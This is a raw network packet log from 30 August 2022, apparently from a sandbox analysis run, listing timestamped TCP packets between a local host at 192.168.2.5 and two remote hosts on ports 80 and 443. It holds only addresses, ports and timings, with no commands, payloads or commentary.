Aug 30, 2022 15:54:58.744193077 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.744226933 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.744298935 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.744796991 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.785975933 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.786034107 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.786108017 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.831217051 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.856889009 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:58.899369955 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:58.910927057 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.910958052 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.910974979 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.910993099 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.910993099 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.911011934 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.911030054 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.911046028 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.911077976 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.911099911 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.039139032 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039304972 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039371014 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039407969 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.039427996 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039483070 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.039489985 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039535046 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039575100 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039587021 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.039616108 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039657116 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039659023 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.039699078 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039735079 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.039746046 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.167707920 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.167841911 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.171927929 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:59.354526997 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354593992 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354635000 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354654074 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.354676962 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354724884 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.354727983 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354742050 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354810953 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354823112 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.354835987 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354892969 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.354897022 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354908943 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.354960918 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.354974031 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.424458981 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:59.485172987 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.485205889 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.585805893 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.585881948 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.585952044 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.585998058 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.586035013 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.586051941 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.586091042 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.586112022 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.586119890 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.586200953 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.586249113 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.586308002 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.586318970 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.586795092 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.588258028 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.588366032 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.588438988 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.588476896 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.588514090 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.588538885 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.588553905 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.588937044 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.589051008 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.589061022 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.589078903 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.589113951 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.589173079 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.589184046 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.589235067 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.590764046 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.590837955 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.590900898 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.590940952 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.590950966 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.590965986 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.591023922 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.818335056 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818489075 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818588972 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818593025 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.818613052 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818722963 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818728924 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.818748951 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818816900 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818823099 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.818840981 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818876982 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.818877935 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.818948984 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.818969011 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.819870949 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.819968939 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.819984913 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.820020914 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.820070982 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.820087910 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.820102930 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.820120096 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.820205927 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.820219040 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.820276022 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.822798967 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.822871923 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.822880030 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.822900057 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.822969913 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.823798895 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.823882103 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.823956966 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.823971987 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.823987007 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.825419903 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.825491905 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.825508118 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.825715065 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.826165915 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.826611042 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.826663017 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.826677084 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.826740026 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.826811075 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.826824903 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.826884985 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.828083038 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.828166962 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.828181028 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.828207970 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.828233004 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.830085039 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.830172062 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:59.830188990 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:59.875802994 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.052671909 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.052763939 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.052795887 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.052822113 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.052845001 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.052885056 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.052907944 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.052980900 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.052984953 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.053000927 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.053051949 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.053062916 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.053066015 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.053085089 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.053138971 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.053200006 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.053219080 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.053244114 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.053308010 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.053325891 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.054848909 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.054922104 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.054938078 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.054985046 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.055047035 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.055058002 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.055071115 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.055123091 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.057531118 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.057626009 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.057667017 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.057740927 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.057813883 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.057877064 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.057889938 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.058821917 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.058893919 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.058907986 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.058928967 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.058994055 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.059005976 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.059024096 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.059082031 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.059096098 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.059648037 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.061088085 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.061140060 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.061166048 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.061184883 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.061204910 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.063133955 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.063189030 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.063208103 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.063230991 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.063251019 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.067157030 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.067234039 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.067236900 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.067254066 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.067298889 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.067342043 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.067404985 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.067409992 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.067929983 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.068435907 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.068476915 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.068506956 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.068526030 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.068541050 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.070336103 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.070430040 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.070461035 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.071549892 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.071908951 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.071993113 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.075290918 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.075407028 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.077003002 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.077097893 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294136047 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294167042 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294244051 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294292927 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294317007 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294348955 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294359922 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294380903 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294425011 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294480085 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294521093 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294579983 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294594049 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294646978 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294698000 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294704914 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294730902 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294795990 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294800997 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294814110 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294830084 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.294900894 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294915915 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.294950008 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.295053005 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.295068026 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.295521021 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.295624018 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.295644045 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.295715094 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.297409058 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.297501087 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.297558069 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.297574043 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.297590971 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.299470901 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.299556971 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.299607992 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.299633980 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.299652100 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.300316095 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.300412893 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.300422907 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.300450087 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.300515890 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.301748991 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.302445889 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.302586079 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.304631948 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.304748058 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.312921047 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.312977076 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.313050985 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.313074112 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.313117981 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.313129902 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.313158035 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.313245058 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.313252926 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.313276052 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.313338041 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.313369036 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.315223932 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.315330982 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.315709114 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.315813065 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.317321062 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.317435980 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.319308043 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.319430113 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.321743011 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.321851969 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.323257923 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.323364973 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.325097084 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.325216055 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.335258961 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.335305929 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.335422039 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.335443020 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.335505962 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.335566044 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.335634947 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.335661888 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.335675001 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.335724115 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.336057901 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.336159945 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.336179972 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.337354898 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.338356018 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.485229015 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.518311024 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518340111 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518404961 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518449068 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.518471956 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.518476009 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518486023 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.518496037 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518538952 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518541098 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.518558025 CEST	49733	443	192.168.2.5	104.21.40.196
